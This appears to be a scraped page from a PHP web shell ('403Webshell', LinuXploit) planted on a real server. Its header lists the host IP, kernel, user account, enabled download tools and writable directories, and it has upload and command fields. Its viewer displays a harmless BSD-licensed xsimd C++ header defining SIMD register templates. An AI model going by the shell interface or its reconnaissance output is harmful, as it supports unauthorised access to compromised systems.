403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/include/xsimd/types/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/include/xsimd/types/xsimd_register.hpp
/***************************************************************************
 * Copyright (c) Johan Mabille, Sylvain Corlay, Wolf Vollprecht and         *
 * Martin Renou                                                             *
 * Copyright (c) QuantStack                                                 *
 * Copyright (c) Serge Guelton                                              *
 *                                                                          *
 * Distributed under the terms of the BSD 3-Clause License.                 *
 *                                                                          *
 * The full license is in the file LICENSE, distributed with this software. *
 ****************************************************************************/

#ifndef XSIMD_REGISTER_HPP
#define XSIMD_REGISTER_HPP

#include <type_traits>

namespace xsimd
{
    namespace types
    {
        template <class T, class A>
        struct has_simd_register : std::false_type
        {
        };

        template <class T, class Arch>
        struct simd_register
        {
            static_assert(Arch::supported(),
                          "usage of simd_register with unsupported architecture");
            static_assert(!Arch::supported() || has_simd_register<T, Arch>::value,
                          "usage of simd_register with unsupported type");
        };

#define XSIMD_DECLARE_SIMD_REGISTER(SCALAR_TYPE, ISA, VECTOR_TYPE) \
    template <>                                                    \
    struct simd_register<SCALAR_TYPE, ISA>                         \
    {                                                              \
        using register_type = VECTOR_TYPE;                         \
        register_type data;                                        \
        operator register_type() const noexcept { return data; }   \
    };                                                             \
    template <>                                                    \
    struct has_simd_register<SCALAR_TYPE, ISA> : std::true_type    \
    {                                                              \
    }

#define XSIMD_DECLARE_SIMD_REGISTER_ALIAS(ISA, ISA_BASE)                          \
    template <class T>                                                            \
    struct simd_register<T, ISA> : simd_register<T, ISA_BASE>                     \
    {                                                                             \
        using register_type = typename simd_register<T, ISA_BASE>::register_type; \
        simd_register(register_type reg) noexcept                                 \
            : simd_register<T, ISA_BASE> { reg }                                  \
        {                                                                         \
        }                                                                         \
        simd_register() = default;                                                \
    };                                                                            \
    template <class T>                                                            \
    struct has_simd_register<T, ISA> : has_simd_register<T, ISA_BASE>             \
    {                                                                             \
    }

        template <class T, class Arch>
        struct get_bool_simd_register
        {
            using type = simd_register<T, Arch>;
        };

        template <class T, class Arch>
        using get_bool_simd_register_t = typename get_bool_simd_register<T, Arch>::type;
    }

    namespace kernel
    {
        // TODO: rename this, as it might conflict with C++20 keyword.
        // We should use add_const and add_reference to build A const&
        template <class A>
        using requires_arch = A const&;
        template <class T>
        struct convert
        {
        };
    }
}

#endif

Youez - 2016 - github.com/yon3zu
LinuXploit